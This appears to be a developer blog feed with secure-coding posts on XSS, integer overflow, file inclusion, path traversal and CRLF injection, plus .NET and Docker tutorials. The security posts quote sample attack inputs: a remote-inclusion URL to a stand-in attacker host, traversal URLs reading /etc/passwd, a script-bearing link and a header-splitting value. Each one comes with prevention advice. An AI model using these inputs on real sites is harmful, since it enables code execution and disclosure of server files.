DEV Community: Jason Sultana

Cross Site Scripting (XSS)

Jason Sultana — Mon, 06 May 2024 03:41:00 +0000

G’day guys!

Continuing our coverage of various security vulnerabilities, today I wanted to review Cross Site Scripting, commonly abbreviated to XSS. While technically speaking there are probably a few different flavours of this, I’m going to focus on two types of XSS; stored and unstored.

Stored XSS

Consider a social networking app where a user can make a post, and this post will appear in the timeline of all of their contacts. The backend logic for displaying posts might look something like:

    $posts = get_posts_for_user($user_id);

    foreach ($posts as $post) {
?>
    <div class="post">
        <p class="post-username"><?php echo $post->username; ?></p>
        <p class="post-body"><?php echo $post->body; ?></p>
    </div>
<?php
    }

It’s very contrived, but hopefully you get the idea. The server-side code retrieves all of the relevant posts for the logged in user, loops over them and lists them one by one.

Now consider what would happen if one of the user’s contacts submitted a post with the following content:

Feeling hacky today!

<script>
    //
</script>

Whenever this post gets rendered by another user’s browser, the script tag will execute. I’ve left this blank for brevity, but a couple of examples of what it might do are:

Download a malicious file to the user’s computer
Change the locally displayed content of other posts, or perhaps a post made by a specific person
Deface the social media website
Play some hidden media that the user can’t turn off

Because the post got saved (aka stored) into the social networking application’s database, I’d classify this as a Stored XSS attack.

Unstored XSS

Consider an online store that allows users to search for products. The search term is stored in the query string, so an example url might look like https://www.onlinestore.com/search?q=Cool+products.

The server side code for the search page might look something like:

<h3>Search results for <?php echo $_GET['q']; ?></h3>
$results = do_search$($_GET['q']);

foreach ($results as $result) {
    // ...
}

Given this, imagine that an attacker sent an email or other message to a targeted user including the following link:

<a href="https://www.onlinestore.com/search?q=<script></script>">Products on sale</a>

Once again, I’ve left the script tag empty for brevity, but we can imagine all sorts of things that an attacker might try here, like:

Changing the html of the page to include or modify the product list
Changing the links of the products to point to a phishing website
Generally defacing the online store

Because the malicious content comes from the query string instead of a database record and is therefore not ‘stored’, I’d classify it under the unstored category.

What exactly is ‘Cross Site’ about XSS?

With these two examples, you might actually be looking a bit like Obi Wan here and wondering where ‘Cross Site Scripting’ got its name from, since there doesn’t seem to be anything inherently ‘Cross Site’ about the vulnerability. According to Wikipedia, XSS got its name since in the early days of the exploit being used, it was typically done by one website making a call to another. This is a bit of a misnomer though, since there doesn’t need to be a second website to take advantage of this vulnerability.

Prevention

While the appropriate prevention will likely depend on context, I’d recommend starting with the following 2 options:

Always encode non-trusted input if it must be displayed, such that <script> will be encoded to <script> and simply displayed instead of executed as a script tag.
If the user-submitted input must be displayed verbatim (eg: a forum that allows users to style their posts), consider using an HTML Sanitisation tool that supports a whitelist of allowed elements and attributes. User-submitted input that violates the configuration of the HTML Sanitiser should be rejected.

One thing that I wouldn’t recommend is trying to pre-emptively sanitize all incoming requests like I mentioned in Preventing XSS in .NET Core WebAPI. In practice, I’ve found this to not be feasible and that simply encoding data on the way out tends to be the better approach.

document.write(‘Damn’);

And that about wraps me up! Have you guys ever run into an XSS vulnerability out there in the wild, or do you have any other tools for preventing XSS that I haven’t mentioned? Let me know in the comments.

Catch ya!

Integer overflow vulnerabilities in .NET

Jason Sultana — Sun, 07 Apr 2024 03:41:00 +0000

G’day guys!

Continuing with our exploration of various security vulnerabilities from a software developer’s perspective, I thought we could switch gears for a minute and look at something that affects (or has the potential to affect) .NET and other strongly typed applications.

Picking on .NET now, are we?

Not specifically - likely any strongly typed language would be susceptible to this, and since we focused on PHP in the last article, it’s only fair to mix it up.

Alright already, show us the vulnerability

Imagine a code block that looks something like this:

int a = 257;
byte b = (byte)a;

What do you think the value of b will be? Spoiler alert: it’s actually 1. As we know, a byte has 8 bits, and holds a range from 0 to 255. With 255, all 8 bits will be turned on, so it’s binary representation will look like 1111 1111. For a value of 257 though, it’d look like 1 0000 0001. Since the byte only holds 8 bits, the leading 1 will get stripped off, leaving just the trailing 1, so we end up with a value of 1 instead of 257.

Duh. How is that a vulnerability, though?

Well, imagine that you were doing something similar to this in your application, and that an attacker was able to manipulate the value of a. a here could represent a Price Id, Invoice Id, User Id or any other entity. By forcing the integer overflow to produce the value 1, the attacker could set the entity id to 1, which is likely the first record added to the system in databases that use auto-incrementing IDs. Some possible results might be that they could end up with elevated priveleges or free products.

Okay, that makes sense. But surely libraries and frameworks already handle this?

Somewhat. I did actually stumble upon this in practice back in .NET Framework land many years ago, but from my quick tests earlier, it looks like model binding in .NET Core has improved. These were what I noticed:

Library	Overflow effect
.NET Core MVC	Resets to zero
.NET Core Web Api	Deserialization error
Newtonsoft.Json	Deserialization error
System.Text.Json	Deserialization error
CsvHelper	Deserialization error

As you can see, it looks like most packages and frameworks will raise an error (or just default to zero) when an overflow is about to take place. Having said that, it’s probably still best not to rely on this and of course you’re not protected when doing any manual mapping or manual deserialization.

Fair enough! So how do we prevent it?

There are 3 approaches you could employ.

1. Manually check that the value is in range before copying it.

Coming back to our earlier example:

int a = 257;
byte b = (byte)a;

One thing we could do is to verify that a is within the range of a byte before performing the assignment to b. For example:

if (a < byte.MinValue || a > byte.MaxValue)
{
    throw new OverflowException($"{nameof(a)} was outside the bounds of a byte.");
}

This is a bit clunky though, especially if we’d have to repeat this logic throughout multiple parts of the codebase. Onto option 2!

2. Use a checked block

Another thing we could do is to have the compiler perform these checks for us by wrapping overflow-sensitive logic in a checked block. For example:

checked
{
    int a = 257;
    byte b = (byte)a;
}

Here, the runtime will produce an OverflowException for any overflows (or underflows) that occur within the checked block. You might be wondering though, if your codebase does this a lot, if there’s a way to make this the default for the entire project.

3. Turn on `CheckForOverflowUnderflow` in the project settings

In your csproj file, add <CheckForOverflowUnderflow>true</CheckForOverflowUnderflow> to enable overflow checks for the entire codebase. There is of course the question of will this hurt application performance. I haven’t tested this myself, but I imagine if your project happens to be performing a lot of overflow/underflow checks already anyway, then this could be a wortwhile option to consider.

And that’s it for this write-up. Thanks for reading, and see you all next time.

Catch ya!

File Injection and Path Traversal vulnerabilities

Jason Sultana — Mon, 11 Mar 2024 09:07:00 +0000

G’day guys!

Following on from my last post where we looked at Newline Injection, today I wanted to review a couple of other injection-style vulnerabilities in what might be an innocent-looking little snippet. I’ll be using PHP in this example, but these same vulnerabilities could exist in any web application, regardless of the language being used. Imagine a blog, online store or other simple-ish application with urls looking something like:

https://my-site.com/?page=home.php
https://my-site.com/?page=about.php
https://my-site.com/?page=post-2024-01-02-03.php

Internally, we could have an index.php file with something similar to:

<?php
    $page = $_GET['page'];
    include($page);

I imagine that most of you are gasping in horror at the blatantly obvious secuity hole here. Or if you’re starting out in your career, or haven’t specifically read up on injection vulnerabilities, the security hole may not be so obvious. I can certainly forgive you if that’s the case, and I’ll admit that I almost certainly would have written something like this in my younger years. For the more experienced reader though, I’ll ask a different question - how many security vulnerabilities can you spot here? Spoiler alert: There are 3 vulnerabilities in 2 lines of code.

Local File Injection

Since the vulnerable code is including any file specified in the GET parameter, a malicious user could specify any local file on the server and have its contents executed by the PHP interpreter (or returned as output). For example, imagine an XML database sitting in the same directory as the index file. An attacker could gain access to said database just by loading https://my-site.com/?page=database.xml in their browser.

As for executing malicious code - chances are there isn’t any malicious code already on the remote server. But if the application included an upload file feature, a user could upload malicious-code.php and then execute it by navigating to https://my-site.com/?page=malicious-code.php.

Remote File Injection

Okay - let’s say that there isn’t an upload feature, and the attacker really wanted to run some malicious code on the server. Another thing they could try is to:

Upload some malicious code to a server that they conrol
Navigate to https://my-site.com/?page=http://attackers-site.com/malicious-code.php

When I tried this in a local XAMPP installation, I got:

Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in <path-to-ini-file>

So thankfully the default config prevents remote file execution by default, but that may not always be the case, and it’s probably a good idea to assume that the config has this enabled, and to protect against Remote File Injection in the application logic as well.

Path Traversal

There’s one last vulnerability here - Path Traversal. Imagine navigating to some urls like the following:

https://my-site.com/?page=../../etc/php.ini - a relative path, to obtain the PHP configuration
http://my-site.com/?page=/etc/passwd - an absolute path, to obtain information about user accounts on the server

This exploit basically allows the attacker to navigate to files outside of the web server’s directory (eg: htdocs) to either view or execute files that they normally should not be able to access.

Prevention?

There are a few ways to deal with all three of these vulnerabilities, but at their core, I think that all of them (along with almost all other injection attacks) can be prevented by following the maxim of never trust user input. That is, if we come back to our snippet:

<?php
    $page = $_GET['page'];
    include($page);

Since a GET parameter, POST parameter, route parameter, HTTP header, etc can all be tampered with by the user, we should treat them as suspicious by default. Some options for workarounds might be:

1) Store a whitelist of permitted files, and validate the user-submitted input (i.e - the GET param) against the whitelist before including it. Eg:

<?php
    $page = $_GET['page];
    if (!is_in_whitelist($page))
        die('Wicked! Tricksy! False!');

    include($page);

2) Or even better, instead of accepting a filename in the GET param, accept a page ID, and look up the filename in a lookup table or database based on the provided page ID. Eg:

<?php
    $page_id = $_GET['page_id'];
    $page = get_page_by_id($page_id);
    if (!$page)
        die('Wicked! Tricksy! False!');

    include($page);

Useful reading

And that’s about it! Have I missed any vulnerabilities here, or do you have any other advice for prevention? Let me know in the comments.

Catch ya!

Reviewing Newline Injection

Jason Sultana — Sun, 04 Feb 2024 05:39:00 +0000

G’day guys!

If you’ve been following my blog for a while or happen to know me in person, you’ll know that I’m a big advocate of certifications. They can be a bit divisive, but you can read my arguments for getting certified here. Anyway, I’ve been knee-deep in ElasticSearch for a while, and since I finally passed the Elastic Certified Engineer exam last November, I decided to dedicate 2024 to security and secure coding. I’m thinking once every couple of weeks, I’ll do a little write up of whatever secure coding topic I’m looking into and put it up here, just for the unlikely event that it benefits someone else - or to remind myself of some detail if I’ve forgotten about it later. Our first topic: CRLF injection, aka Newline Injection!

CRLF-a-what now?

Just in case you’re not familiar with the acronyms, CR refers to a Carriage Return (the \r escape character) and LF refers to a Line Feed (the \n escape character). But I find CRLF Injection to be a bit of a mouthful, and Newline Injection seems to roll off the tongue a bit easier.

Wait, you’re telling me that new lines are dangerous?

Kind of. Just try to imagine all of the different things that contain a semantic new line, especially in the context of web applications. That is to say, things where a new line carries some kind of meaning to the system that interprets it.

Server Logs

Your application server logs will of course vary to some extent, but chances are they’ll look something like this. The important thing is that, they’re (typically) separated by a new line such that each distinct line indicates a new distinct log message.

SMTP Messages

As shown below, SMTP messages (at least, the payload that’s sent after the initial handshake) have headers such as subject, from, to, etc separated by newlines.

In fact, this probably sounds awfully familiar to another common protocol used in web technologies…

HTTP Messages

HTTP messages (both requests, and responses) also contain headers that are separated by newlines.

Fair enough. So what makes this a problem?

Let’s just imagine that we have a web application that allows users to publish blog posts, and the response for viewing a blog post looked something like this:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1234
X-Author: John Doe

...

Here, the application is returning the name of the author of the post in the X-Author HTTP header. The name of the author is of course entered by the user at some point, so just imagine if instead of submitting John Doe, they submit:

John Doe\r\n\r\n<script>alert('You\'ve been hacked!');</script>

The extra two lines after the fake user name would cause whatever follows to be interpreted as the start of the HTTP response body, and then rendered by the browser. Just imagine what our mischievous friend John could include instead of the innocent alert we’ve demonstrated here. This particular exploit, when applied to HTTP response messages is referred to as HTTP Response Splitting.

This sort of vulnerability, in theory, applies to anything that uses newlines in a meaningful way. In the case of an SMTP message, if the message contains a user-submitted value in the subject for example, a bad actor could use newline injection to include a Reply-To header, or provide their own message body. Or in the case of server log messages, a bad actor could include newline characters to add their own fake log messages to the log file.

Hold up, shouldn’t my framework or client library handle this for me?

In my limited amount of testing (in NodeJS), I did find that most client libraries, along with the Express framework did protect against this sort of attack. Having said that, it’s probably not a good idea to rely on your client library, since you never know if/when a bad commit might get pushed which introduces a regression in the client library. In fact, this sort of thing did indeed happen in NodeJS.

So what’s the answer?

I’d like to think about Newline Injection the same way we think about SQL Injection, which I think is a much more understood and accepted injection attack. Whenever we’re dealing with an SQL query, we need to keep SQL Injection in the back of our minds and make sure that we’re using parameterized queries to avoid any security holes. In the same way, whenever we’re dealing with systems that involve a semantic newline, such as logging frameworks, SMTP and beyond, we need to make sure that we’re handling newline characters correctly. A simple approach might be to just url-encode any dynamic components. This would mean that any \r\n characters would be replaced with %0D%0A and simply be displayed as such, instead of literally producing a new line in the message.

Can’t we replace newlines instead of url-encoding them?

One alternate strategy might be to replace \n characters with a space, instead of url-encoding them. There are a few reasons why I think url-encoding is the preferable solution:

There are some instances where we expect user input to contain new lines - eg: multi-line text fields. We certainly don’t want to accidentally replace those valid new lines with spaces.
If someone is submitting potentially malicious newline characters, I’d prefer to see that show up in our application logs so we can respond appropriately, rather than have the attack be silently converted into normal-looking data.
There could also be other potentially harmful characters in the input field. Doing a replace would only protect against newline injection, whereas url-encoding should protect against a wider range of attacks. That’s not to say url-encoding is a silver bullet, but I still think it would handle more cases than a simple replacement of \n.

Anyway, I think that wraps up my thoughts on newline injection. This is by no means an exhaustive summary, so if you can think of any other exploits that I haven’t mentioned or have anything else to add, please feel free to let me know in the comments. Until next time!

Catch ya!

Re-usable mocks in .NET using Moq

Jason Sultana — Fri, 04 Aug 2023 22:53:00 +0000

G’day guys!

A while back I wrote a little example of using the Builder pattern in automated tests, and I wanted to follow it up with another common practice that I employ in test projects - re-usable mocks.

What are mocks again?

For those of you who might be new-ish to automated tests, imagine you’ve got a class that looks something like this:

public class Mailer
{
    private readonly ISmtpClient _smtpClient;

    public Mailer(ISmtpClient smtpClient)
    {
        _smtpClient = smtpClient;
    }

    public async Task SendMailAsync(SendMailRequest request)
    {
        await _smtpClient.SendAsync(new SmtpMessage()
        {
            Port = 25,
            To = request.To,
            Credentials = CredentialsFactory.GetSmtpCredentials(),
            // ...
        });
    }
}

Note: The above code is an imaginary sample. These classes don’t actually exist.

If we wanted to create an isolated test for this, that doesn’t actually send any emails (i.e - a unit test) then we need a way of creating a fake instance of ISmtpClient that we control, which doesn’t actually send any mail, but allows us to inspect when methods get called, provide dummy data, etc. That’s basically a mock.

Writing mocks with…Moq

If we then wanted to create a unit test (with mocks) for the above mailer class, it might looks something like this:

public class MailerTests
{
    [Fact]
    public async Task Can_send_mail()
    {
        // Arrange
        var smtp = new Mock<ISmtpClient>();
        smtp.Setup(m => m.SendAsync(It.IsAny<SmtpRequest>())).Verifiable();

        // Act
        var sut = new Mailer(smtp.Object);
        await sut.SendMailAsync(new SendMailRequest()
        {
            // 
        });

        // Assert
        smtp.Verify(); // this will throw if SendAsync was not called
    }
}

In short, we create a mock of ISmtpClient called smtp, set it up so that it mocks the SendAsync method and mark it as verifiable - so that we can verify if it was called later. We pass the mock into the Mailer (the service under test) and then verify later that the method was called.

Sounds good! What’s wrong with this?

I wouldn’t say that anything is wrong with it - but it can be made more reusable. Let’s just say that we had a couple of other tests (and potentially other services, which all have their own tests, too) that all use the ISmtpClient. We’d have to repeat this process of creating a mock every time. Whereas instead, we could do this:

public class MockSmtpClient : IMock<SmtpClient>
{
    public MockSmtpClient SetupSendAsync(bool veriable = false)
    {
        var setup = Setup(m => m.SendAsync(It.IsAny<SmtpRequest>()));

        if (verifiable)
            setup.Verifiable();

        return this;
    }
}

The idea is that now we have a re-usable mock that we can use across multiple tests. Especially when the service that you’re mocking contains a number of methods that will be used (think repositories and other data-related services), this can make the test code a lot more concise and readable. It also means that if you ever want to change how all your mocks are setup (eg: to make them all verifable), you should have far fewer places to change than trying to change every instance of Mock<T>.

Anyway - that about wraps me up. Does anyone follow a similar practice, or have any other common practices when it comes to automated tests? Let me know in the comments!

Catch ya!

Adding Configuration to .NET 6 Projects using the IOptions pattern

Jason Sultana — Mon, 08 Aug 2022 11:44:00 +0000

G’day guys!

Following on from my last post on Dependency Injection, I wanted to compliment it with an up-to-date guide on adding configuration. We’ll start with a Web API (since its the simplest), and then look at adding config to other project types like console apps or tests.

Let’s start with the API

If you create a new Web API project in Visual Studio, you’ll be presented with a couple of default files, but the ones relevant to us are:

appsettings.jsonThis is our configuration file. We’ll add some new config here in a sec.
Program.csThis is the bootstrapping file that sets everything up. We’ll modify this shortly to read the configuration and expose it to our controller.
WeatherForecastController.csThis is a default sample controller that Visual Studio created. We’ll modify this to read the configuration.

Step 1: Add config

Add a custom ApiSettings section to your config. Your appsettings.json file should look something like this.

{
  "Logging": {
    "LogLevel": {
      "Default": "Information",
      "Microsoft.AspNetCore": "Warning"
    }
  },
  "AllowedHosts": "*",
  "ApiSettings": {
    "ApiName": "My Awesome API"
  }
}

Step 2: Add a strongly typed config class

Our custom section was called ApiSettings with a single string ApiName field, so let’s define a class with the same schema.

    public class ApiSettings
    {
        public string ApiName { get; set; }
    }

Step 3: Register config in Program.cs

Note: If you’re using a .NET version below .NET 6, then this will take place in the ConfigureServices method of Startup.cs instead.

        var builder = WebApplication.CreateBuilder(args);

        // Add services to the container.

        builder.Services.AddControllers();
        // Learn more about configuring Swagger/OpenAPI at https://aka.ms/aspnetcore/swashbuckle
        builder.Services.AddEndpointsApiExplorer();
        builder.Services.AddSwaggerGen();

        var app = builder.Build();

Above is the auto-generated Program.cs contents of your .NET6 Web Api. Before calling Build on the builder, add the following:

        builder.Services.Configure<ApiSettings>(builder.Configuration.GetSection("ApiSettings"));

This registers our ApiSettings configuration section, associated with the strongly typed class we created earlier, with the .NET Dependency Injection container.

Step 4: Profit?

Now we’ve done all the heavy lifting, we can use the relevant config by injecting it into a controller or service. For demo purposes, let’s inject it into the auto-generated WeatherForecastController.

    public WeatherForecastController(ILogger<WeatherForecastController> logger, IOptions<ApiSettings> options)
    {
        _logger = logger;
        _apiSettings = options.Value;
    }

Put a breakpoint in the constuctor and observe that options has been populated with the value(s) from our JSON config, thanks to Dependency Injection and the minimal configuration setup we did in the previous step. Just don’t forget to define the config parameters IOptions<T> instead of just T, which is a common mistake newcomers will make. Remember that configuration in .NET Core (and nowadays just .NET) is based on IOptions.

Hey, what about for non-API projects?

You didn’t think we were done, did you? Well, I guess if you just wanted samples for a Web API project you can leave now. But for everyone else - if you read my last post on Dependency Injection, you may remember that what makes adding DI for non-web projects non straightforward is just how much scaffolding happens automatically with the web projects. The same is true for configuration. We can achieve the same results in non-web projects, we just need to do a bit more of the heavy lifting ourselves.

Step 1: Add packages

Microsoft.Extensions.Configuration
Microsoft.Extensions.Configuration.Json
Microsoft.Extensions.DependencyInjection
Microsoft.Extensions.DependencyInjection.Abstractions
Microsoft.Extensions.Options

I’ll let you decide what versions to use - but these are the core packages that will get us started.

Step 2: Add Config file

I recommend adding the appsetting.json from our Web API project as a link to our console or test file, just to save having to reconfigure everything. Oh, and you’ll also want to add a reference to whatever project your ApiSettings class is defined in - probably the Web API project, if you’ve just been following this guide.

Step 3: Profit?

using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Options;
using SampleNet6Api;

var config = new ConfigurationBuilder()
                 .SetBasePath(Directory.GetCurrentDirectory())
                 .AddJsonFile("appsettings.json")
                 .Build();

var services = new ServiceCollection()
   .AddOptions()
   .Configure<ApiSettings>(config.GetSection("ApiSettings"))
   .BuildServiceProvider();

var apiSettings = services.GetService<IOptions<ApiSettings>>();

Console.WriteLine(apiSettings.Value.ApiName);
Console.ReadLine();

Above is the contents of my Program.cs in a console project, but it’ll be quite similar for test projects as well.

First, we create a ConfigurationBuilder and populate it with the config from our JSON file. Then, we create a ServiceCollection (the .NET DI container), add IOptions to it and register our ApiSettings class from the config. These two steps (minus the Configure bit) happen automatically under the hood with Web projects.

Lastly, we grab the IOptions<ApiSettings> service from the DI container and write the config value to the console. This is more-or-less that happened in the constructor of WeatherForecastController in our Web API project.

And that’s about it. Happy coding (or should I say configuring), and catch ya later!

Adding Dependency Injection to your .NET Console Apps (and tests)

Jason Sultana — Sat, 06 Aug 2022 10:04:00 +0000

G’day guys!

You’ve probably noticed that Dependency Injection (DI) has become the defacto norm these days, and arguably rightfully so, since it (if used properly) leads to a testable, changeable, de-coupled codebase. But perhaps one challenge (at least in the ASP.NET ecosystem) is that because so much of the bootstrapping is taken care of when we create a new ASP.NET project, it can be confusing and unclear as to how to set up DI in your automated tests or other top-level projects that don’t get the out-of-the-box scaffolding that ASP.NET web projects do. There are a few guides on how to do this out there, but here’s a no-fluff minimalistic one.

Oh, before going any further, I’ll mention that the examples shown here will be using Microsoft’s no-frills DI container that comes out of the box with ASP.NET Core projects. The concepts covered here will be similar for other containers, but the code itself will differ slightly.

First, lets order some packages

When it comes to versioning, chances are you’ve already got these installed in other projects in your solution. So as long as you’re not mixing and matching .NET versions between projects, it makes sense to keep the versions the same. For this reason, I’ll just list the packages you need and let you figure out the appropriate version.

Microsoft.Extensions.Configuration
Microsoft.Extensions.Configuration.Json
Microsoft.Extensions.DependencyInjection
Microsoft.Extensions.DependencyInjection.Abstractions
Microsoft.Extensions.Options

Add your app settings

When it comes to configuration, you probably have some custom app settings defined in an appsettings.*.json file within your existing ASP.NET web project. You’ll need to get this into your new (bare bones) project for the same settings to apply. You have a few options for doing this:

1) Create a custom settings file for your new project; 2) Copy the existing appsettings.json file from your web project into your new one; or 3) Add a link from the existing appsettings.json file to your new project

I usually prefer option 3, so any changes you make in the appsetting.json file in your main web project will also take effect in your new project, and you don’t need to maintain two (or more) config files.

* The appearance of this may look slightly different in Rider or VS for Mac, but it should still be there.

Set it all up

Here, I suggest creating a xxxBootstrapper class to handle the bootstrapping of the DI container and any other setup, where xxx is a prefix for your project. Eg: If this is a test project, you could call this TestBootstrapper.

For example:

    public static class TestBootstrapper
    {
        public static void Bootstrap(IServiceCollection services)
        {
            // todo: Add any test services
        }
    }

That’s great, but how do I actually create the IServiceCollection instance?

Ask politely :) Seriously though, just create a new ServiceCollection, which is the concrete implementation of IServiceCollection.

    public static class ServiceProviderFactory
    {
        public static IServiceProvider CreateServiceProvider()
        {
            var services = new ServiceCollection();

            LibraryBootstrapper.Bootstrap(services);
            TestBootstrapper.Bootstrap(services);

            return services.BuildServiceProvider();
        }
    }

Since we’ll probably be doing this in every single test and the bootstrapping logic will probably grow as our solution does, I’ve placed this inside a factory for convenience.

Putting it all together

Here it is :) Do note that Setup and Test are NUnit-specific attributes, which may differ from what you’ll need to use depending on the testing framework you’re using - although you ought to use NUnit because all the others are stupid.

*** The above statement is a joke. Use whichever testing framework you like.

using ConsoleDependencyInjection.Library;
using Microsoft.Extensions.DependencyInjection;

namespace ConsoleDependencyInjection.Tests;

public class MyServiceTests
{
    private IMyService _sut;

    [SetUp]
    public void Setup()
    {
        _sut = ServiceProviderFactory
            .CreateServiceProvider()
            .GetService<IMyService>();
    }

    [Test]
    public void Test1()
    {
        Assert.DoesNotThrow(() =>
        {
            _sut.DoTheThing();
        });
    }
}

In the Setup method (which runs before each test), we create an instance of the service provider from the factory we created earlier, and using a Service Locator approach to DI, ask the provider for the service we want to test. To see the whole thing in action, you can check out the repo on Github.

Thanks for reading! Catch ya!

Writing unit tests for EF Core

Jason Sultana — Sun, 16 Jan 2022 08:21:00 +0000

G’day guys!

It’s been a while since I’ve had a good look at Entity Framework, since for the last couple of years I’ve been professionally living in mostly NoSQL-land. Earlier today though, I thought I’d crack open an old hobby project and add some unit tests for it. That’s easier said than done though unless you know what you’re doing, since DbContext by default is not easily unit testable.

Bro, do you even Moq?

I hear ya! It should be as simple as extracting an interface out of your context, mocking it with Moq and you’re done! The problem essentially is the DbSet<T> that you use to define your tables. Firstly, DbSet<T> is abstract, so it can’t be newed. On top of that, there are a whole plethora of methods on it that are a pain to mock - ToListAsync(), Where() chaining, IQueryable<T> logic, unions and other set operations and more. If I remember correctly, there was a Microsoft article published years ago which gave you an implementation for what was essentially a mockable DbSet<T>, but I’ve found a better solution: Moq.EntityFrameworkCore.

You can have a look at the official howto on Github, but the gist of it is:



        var mock = new Mock<IYourDbContext>();
        mock.Setup(m => m.Customers)
            .ReturnsDbSet(_customers); // This magic comes from Moq.EntityFrameworkCore

And that’s it! Admittedly I haven’t tested it thoroughly, but for the simple-ish test cases that I have, it works like a dream. Looking at the source code interestingly looks quite similar to the Microsoft article, but even if it is just taking what Microsoft gave us and packaging it into a nice, easily-consumable chunk of nuget (I’m dreaming of Tim Tams), it’s much appreciated.

Anyway, that’s all from me - this might be my shortest post yet. Happy mocking!

Catch ya!

Running Puppeteer under Docker

Jason Sultana — Fri, 14 Jan 2022 23:54:00 +0000

G’day guys!

I recently tried to dockerise an old hobby project and unsurprisingly, a couple of things broke. Some of these were fairly simple fixes so I won’t go into their details - but I will go into a fairly obscure one, which was caused by puppeteer. Regarding the application itself, it does a few things, but for the purposes of this article, let’s just say that it renders some reports using Puppeteer and NodeJS (while running as a .NET app).

Dance monkey, dance monkey, dance…wait, what?

If you haven’t heard of Puppeteer, it’s basically a NodeJS library that allows you to run (and control) an instance of headless chrome. i.e - an instance of Google chrome without a UI. In this project, I was using it to render PDF exports of reports. Running natively, it worked like a charm. But under docker, well…I’m writing this article after all, aren’t I?

Hold up, let’s see your docker setup first.

I thought you might say that! Well, first here’s the dockerfile.

FROM mcr.microsoft.com/dotnet/aspnet:6.0 AS base
WORKDIR /app
EXPOSE 80

FROM mcr.microsoft.com/dotnet/sdk:6.0 AS build
WORKDIR /src
COPY ["MyApplication.API/MyApplication.API.csproj", "MyApplication.API/"]
COPY ["MyApplication.Common/MyApplication.Common.csproj", "MyApplication.Common/"]
COPY ["MyApplication.Data/MyApplication.Data.csproj", "MyApplication.Data/"]
COPY ["MyApplication.Logic/MyApplication.Logic.csproj", "MyApplication.Logic/"]
RUN dotnet restore "MyApplication.API/MyApplication.API.csproj"
COPY . .
WORKDIR "/src/MyApplication.API"
RUN dotnet build "MyApplication.API.csproj" -c Release -o /app/build

FROM build AS publish
RUN dotnet publish "MyApplication.API.csproj" -c Release -o /app/publish

FROM base AS final
WORKDIR /app
COPY --from=publish /app/publish .
ENTRYPOINT ["dotnet", "MyApplication.API.dll", "--environment", "Docker"]

# Install node and npm
RUN apt-get update
RUN apt-get install nodejs=12.22.5~dfsg-2~11u1 -y
RUN apt-get install npm=7.5.2+ds-2 -y
ENV NODE_ENV=production

# Install node modules for reports
WORKDIR "/app/Reports/jsreport"
RUN npm install

# Set the directory back so dotnet is able to run the application
WORKDIR "/app"

Basically I load the ASP.NET 6 base image, build the solution, publish it, install require node modules and set the dotnet program as the entry point of the container.

Then I build an image using docker build -t myimage -f ./MyApplication.API/Dockerfile .

Note that in order for the build step in the docker file to work, the image has to be created at the solution level and not the project level - since all of the projects need to be built. Hence why I’m using the solution directory when we build the image.

Then I run a container using docker run -p 127.0.0.1:80:80/tcp myimage.

So far so good! But after invoking one of the reports yields an internal server error.

Show me the errors!

Well, since this is running under docker (and this is just a hobby app, so I’m using old-school rolling file logs), I actually need to sh into the container first to see the logs. So first to get the id of the container: docker ps, and once we have the id of the container: docker exec -it CONTAINER_ID /bin/bash. Opening the error log reveals:

  Jering.Javascript.NodeJS.InvocationException: Failed to launch chrome!
/app/Reports/jsreport/node_modules/puppeteer/.local-chromium/linux-609904/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory

TROUBLESHOOTING: https://github.com/GoogleChrome/puppeteer/blob/master/docs/troubleshooting.md

Error: Failed to launch chrome!

Interesting! Following the link provided and scrolling down to Running Puppeteer under Docker tells you that we basically need to add a step in our dockerfile to install the necessary libraries (particularly libnss3.so) in order for headless chrome to run. The dockerfile in their example is a bit verbose with some unnecessary steps, but the real magic is basically just:

# Install latest chrome dev package and fonts to support major charsets (Chinese, Japanese, Arabic, Hebrew, Thai and a few others)
# Note: this installs the necessary libs to make the bundled version of Chromium that Puppeteer
# installs, work.
RUN apt-get update \
    && apt-get install -y wget gnupg \
    && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
    && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
    && apt-get update \
    && apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 \
      --no-install-recommends \
    && rm -rf /var/lib/apt/lists/*

And voila! Puppeteer is now working under Docker. Hope this helped someone out, or was at least an interesting read :)

Catch ya!

Upgrading from .NET Core 2.1 to .NET 6.0

Jason Sultana — Thu, 30 Dec 2021 05:09:00 +0000

G’day guys!

Hope you all had a Merry Christmas! Today, since I’m in that strange limbo place between Christmas and New Years, I decided to migrate one of my old hobby projects from .NET 2.1 to .NET 6, and document the experience here. If any of you are perhaps planning on performing a similar upgrade yourself, you might find this a useful read before getting started.

If it ain’t broke, don’t fix it?

I guess the first question that must be asked is, so long as the application is working, why bother doing an upgrade at all? It’s a good question, and there are a few reasons for this:

Any new code samples or packages that get released from now will likely target the newer .NET version, so we’ll probably have an easier time integrating them if we’re using an up-to-date .NET version, too.
.NET 2.1 reached End-of-support back in August, 2021. This means that any improvements that get added to newer .NET versions won’t be backported to 2.1. FOMO much?
If you’re running .NET apps in the cloud (eg: AWS Lambda), your cloud provider may force you to upgrade.
.NET 6 is reported to be significantly faster than previous versions.

Which version should I upgrade to?

I think this is a very good question, since there are usually at least 2-3 reasonable choices at any given time. I’d probably recommend looking at the currently supported .NET versions, take note of when each of them will reach End of Support, and then decide accordingly. I usually opt to choose an LTS (Long-Term-Support) option where possible, so I don’t have to worry about another upgrade for a couple of years, hopefully. Currently, the latest LTS version is .NET 6, which will be supported until November 2024.

Installing .NET 6

First, let’s find out if you currently have the .NET 6 SDK installed on your machine. An easy way to do this is to run the following in your favourite terminal:

dotnet --list-sdks

If you don’t see an entry for .NET 6, you’ll need to install it. You could do this using Visual Studio, but just in case you happen to be using a different code editor or IDE (vim perhaps?), here’s a link where you can download an installer from directly.

After installing the new SDK, the previous command should now include 6.0.101 (or whichever version you just installed).

Upgrading projects

After installing the SDK, the next step is to update our TargetFramework in each csproj file. If you’re migrating from .NET Core 2.1, this will likely be set to netcoreapp2.1. Change it in each project to:

    <TargetFramework>net6.0</TargetFramework>

